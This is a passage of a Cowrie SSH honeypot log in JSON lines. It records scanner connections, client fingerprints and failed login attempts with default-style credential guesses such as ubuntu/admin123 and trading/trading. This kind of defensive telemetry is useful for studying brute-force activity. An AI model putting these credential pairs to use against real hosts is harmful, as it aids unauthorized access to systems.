es128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:37.389158Z","src_ip":"20.244.95.173","session":"f9ab47aad6a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stormx","password":"stormx2017","message":"login attempt [stormx/stormx2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:37.812012Z","src_ip":"20.244.95.173","session":"f9ab47aad6a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:39.023842Z","src_ip":"20.244.95.173","session":"f9ab47aad6a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":33834,"dst_ip":"159.203.135.109","dst_port":22,"session":"b817c2babf6a","protocol":"ssh","message":"New connection: 2.57.122.208:33834 (159.203.135.109:22) [session: b817c2babf6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:41.817101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:41.821677Z","src_ip":"2.57.122.208","session":"b817c2babf6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:41.931422Z","src_ip":"2.57.122.208","session":"b817c2babf6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:42.287851Z","src_ip":"2.57.122.208","session":"b817c2babf6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:36:43.608177Z","src_ip":"2.57.122.208","session":"b817c2babf6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.196.64.198","src_port":50962,"dst_ip":"10.17.0.5","dst_port":22,"session":"408ee053ba52","protocol":"ssh","message":"New connection: 20.196.64.198:50962 (10.17.0.5:22) [session: 408ee053ba52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:37:17.606480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:37:17.611941Z","src_ip":"20.196.64.198","session":"408ee053ba52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:37:17.805784Z","src_ip":"20.196.64.198","session":"408ee053ba52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":51366,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6f7f16eb2bd","protocol":"ssh","message":"New connection: 2.57.122.208:51366 (10.17.0.5:22) [session: f6f7f16eb2bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:37:17.911170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:37:17.963847Z","src_ip":"2.57.122.208","session":"f6f7f16eb2bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:37:18.074191Z","src_ip":"2.57.122.208","session":"f6f7f16eb2bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shyam","password":"Shyam123","message":"login attempt [shyam/Shyam123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:37:18.603171Z","src_ip":"20.196.64.198","session":"408ee053ba52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:37:18.858660Z","src_ip":"2.57.122.208","session":"f6f7f16eb2bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:37:19.805326Z","src_ip":"20.196.64.198","session":"408ee053ba52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:37:20.160057Z","src_ip":"2.57.122.208","session":"f6f7f16eb2bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":47106,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c2e8b3fbbde","protocol":"ssh","message":"New connection: 42.200.78.78:47106 (10.17.0.5:22) [session: 9c2e8b3fbbde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:38:01.351606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:38:01.356346Z","src_ip":"42.200.78.78","session":"9c2e8b3fbbde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:38:01.574255Z","src_ip":"42.200.78.78","session":"9c2e8b3fbbde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shyam","password":"Shyam123","message":"login attempt [shyam/Shyam123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:38:02.477171Z","src_ip":"42.200.78.78","session":"9c2e8b3fbbde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:38:03.696631Z","src_ip":"42.200.78.78","session":"9c2e8b3fbbde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.77.48","src_port":42816,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad6518676f72","protocol":"ssh","message":"New connection: 103.154.77.48:42816 (10.17.0.5:22) [session: ad6518676f72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:38:03.826471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:38:03.830767Z","src_ip":"103.154.77.48","session":"ad6518676f72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:38:04.091558Z","src_ip":"103.154.77.48","session":"ad6518676f72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karim","password":"Karim123","message":"login attempt [karim/Karim123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:38:05.166135Z","src_ip":"103.154.77.48","session":"ad6518676f72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:38:06.429738Z","src_ip":"103.154.77.48","session":"ad6518676f72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:38:23.291569Z","src_ip":"47.239.222.53","session":"20b1addd6281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":37186,"dst_ip":"159.203.135.109","dst_port":22,"session":"35d71a98fcd4","protocol":"ssh","message":"New connection: 92.118.39.95:37186 (159.203.135.109:22) [session: 35d71a98fcd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:38:25.895225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:38:25.899407Z","src_ip":"92.118.39.95","session":"35d71a98fcd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:38:26.057312Z","src_ip":"92.118.39.95","session":"35d71a98fcd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:38:26.357928Z","src_ip":"92.118.39.95","session":"35d71a98fcd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:38:27.465368Z","src_ip":"92.118.39.95","session":"35d71a98fcd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":37276,"dst_ip":"159.203.135.109","dst_port":22,"session":"cadc55ae2f3f","protocol":"ssh","message":"New connection: 2.57.122.208:37276 (159.203.135.109:22) [session: cadc55ae2f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:38:58.783866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:38:58.789685Z","src_ip":"2.57.122.208","session":"cadc55ae2f3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:38:58.899169Z","src_ip":"2.57.122.208","session":"cadc55ae2f3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"trader","message":"login attempt [trader/trader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:38:59.233665Z","src_ip":"2.57.122.208","session":"cadc55ae2f3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:00.341224Z","src_ip":"2.57.122.208","session":"cadc55ae2f3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":59362,"dst_ip":"159.203.135.109","dst_port":22,"session":"5873726c9fcf","protocol":"ssh","message":"New connection: 2.57.122.96:59362 (159.203.135.109:22) [session: 5873726c9fcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:03.168306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:03.218856Z","src_ip":"2.57.122.96","session":"5873726c9fcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:03.357312Z","src_ip":"2.57.122.96","session":"5873726c9fcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin123","message":"login attempt [ubuntu/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:03.795026Z","src_ip":"2.57.122.96","session":"5873726c9fcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:04.896742Z","src_ip":"2.57.122.96","session":"5873726c9fcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.196.64.198","src_port":44248,"dst_ip":"10.17.0.5","dst_port":22,"session":"448cfb44f3d7","protocol":"ssh","message":"New connection: 20.196.64.198:44248 (10.17.0.5:22) [session: 448cfb44f3d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:39:20.941017Z"}
